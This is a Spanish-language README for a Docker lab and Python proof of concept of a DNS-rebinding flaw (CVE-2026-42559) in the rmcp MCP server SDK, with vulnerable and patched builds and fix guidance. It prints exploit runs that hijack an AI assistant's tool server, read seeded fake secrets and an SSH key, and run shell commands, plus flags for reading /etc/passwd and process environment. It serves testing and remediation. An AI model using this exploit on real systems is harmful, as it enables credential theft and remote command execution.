
Laboratorio Docker y prueba de concepto en Python que demuestra el rebinding de DNS mediante la cabecera Host no validada en el transporte del servidor HTTP Streamable de rmcp (CVE-2026-42559). Incluye versiones vulnerable y parcheada para pruebas.
| Afectado | rmcp — el SDK oficial de Rust para el Model Context Protocol — < 1.4.0 |
| Corregido en | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Error de validación de origen), CWE-350 |
| CVSS 3.1 | 8.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
El transporte del servidor HTTP Streamable en rmcp < 1.4.0 nunca inspeccionaba la
cabecera Host entrante. Los servidores MCP normalmente están vinculados a loopback y están
protegidos únicamente por la política de mismo origen del navegador — que el reencuadre de DNS
(«DNS rebinding») anula:
http://evil.example, servido con un TTL de DNS de 1 segundo.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). La solicitud llega
al servidor MCP local de la víctima, pero el navegador sigue tratándola como de
mismo origen — sin preflight CORS, y el JavaScript puede leer cada respuesta.Lo único que separa esa solicitud de una legítima es la cabecera Host:
evil.example:8000 en lugar de 127.0.0.1:8000. Sin validación, la
página del atacante obtiene una sesión MCP completa y puede enumerar y llamar a cada herramienta
que el servidor expone — lecturas de archivos, escrituras, ejecución de shell, lo que sea que el
asistente estuviera configurado para hacer.
1.4.0 añadió StreamableHttpServerConfig::allowed_hosts, con valor predeterminado
["localhost", "127.0.0.1", "::1"], y una compuerta validate_dns_rebinding_headers()
al inicio del manejador de solicitudes que responde 403 Forbidden en caso contrario.
.
├── docker-compose.yml # dos servicios, mismo código fuente, diferente versión de rmcp
├── mcp-server/ # un servidor MCP realista de "asistente de desarrollador"
│ ├── Cargo.toml
│ ├── Dockerfile # el argumento de compilación RMCP_VERSION fija la versión de la crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, sin dependencias
Ambos contenedores compilan el mismo src/main.rs con la misma configuración de servidor.
La única diferencia es la versión fijada de la crate, por lo que el cambio de comportamiento proviene
enteramente de la librería:
| Servicio | Puerto | rmcp | Resultado esperado |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | Host falsificado aceptado → compromiso total |
patched | 127.0.0.1:8001 | 1.4.0 | Host falsificado → 403 Forbidden |
El servidor expone whoami, read_file y run_command, y la imagen está
sembrada con credenciales falsas en /home/dev/project/.env y
/home/dev/.ssh/id_ed25519 para que el exploit tenga algo que robar.
docker compose up -d --build
Explota la compilación vulnerable:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- la cabecera Host no está validada
target http://127.0.0.1:8000/mcp
Host legítimo 127.0.0.1:8000
Host de reencuadre mcp-rebind.attacker.example:8000
[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.3.0
[*] paso 1: reproduciendo la solicitud posterior al reencuadre (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- la cabecera Host falsificada fue aceptada: VULNERABLE a CVE-2026-42559
[+] sesión abierta desde un origen externo: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] paso 2: enumerando las herramientas ahora expuestas a la página del atacante
- read_file Leer un archivo de la estación de trabajo
- run_command Ejecutar un comando de shell en la estación de trabajo
- whoami Describir la estación de trabajo en la que se ejecuta este asistente
[*] paso 3: invocando herramientas como si la página del atacante fuera un cliente MCP local
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] lectura arbitraria y ejecución de comandos en el host de la víctima, desde una página web
Luego la compilación parcheada, para confirmar la corrección:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.4.0
[*] paso 1: reproduciendo la solicitud posterior al reencuadre (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Prohibido: la cabecera Host no está permitida
[+] NO VULNERABLE: esta compilación valida la cabecera Host (rmcp >= 1.4.0)
El código de salida es 1 cuando el objetivo es vulnerable y 0 cuando no lo es, por lo que el
script se integra directamente en CI.
Banderas útiles:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Detén el laboratorio con docker compose down.
El exploit abre una conexión TCP al objetivo y escribe una
cabecera Host controlada por el atacante (http.client.putrequest(..., skip_host=True)).
Esa es, byte por byte, la solicitud que emite un navegador reencuadrado — el reencuadre de DNS es
solo el mecanismo que hace que un navegador envíe un Host externo a un socket de loopback.
Reproducirlo de esta manera mantiene el laboratorio en dos contenedores y sin infraestructura de DNS,
mientras se prueba exactamente la ruta de código sobre la que trata el CVE.
// 1. Actualiza.
// rmcp = "1.4" (o posterior)
// 2. Solo loopback es el valor predeterminado desde 1.4.0 en adelante — no hay nada que hacer
// para un servidor vinculado localmente.
let config = StreamableHttpServerConfig::default();
// 3. Para un despliegue público genuino, incluye en la lista blanca tus propios nombres.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Si no puedes actualizar, termina el endpoint MCP detrás de un proxy inverso que
rechace valores Host desconocidos, y no vincules el servidor a 0.0.0.0 sin
uno. disable_allowed_hosts() existe pero reintroduce exactamente este fallo.
Todo lo que hay aquí es intencionalmente vulnerable y existe con fines de investigación y educación. Los contenedores exponen una herramienta de ejecución de shell a propósito — ejecuta el laboratorio solo en una máquina que te pertenezca, y nunca apuntes el exploit a un host que no estés autorizado a probar.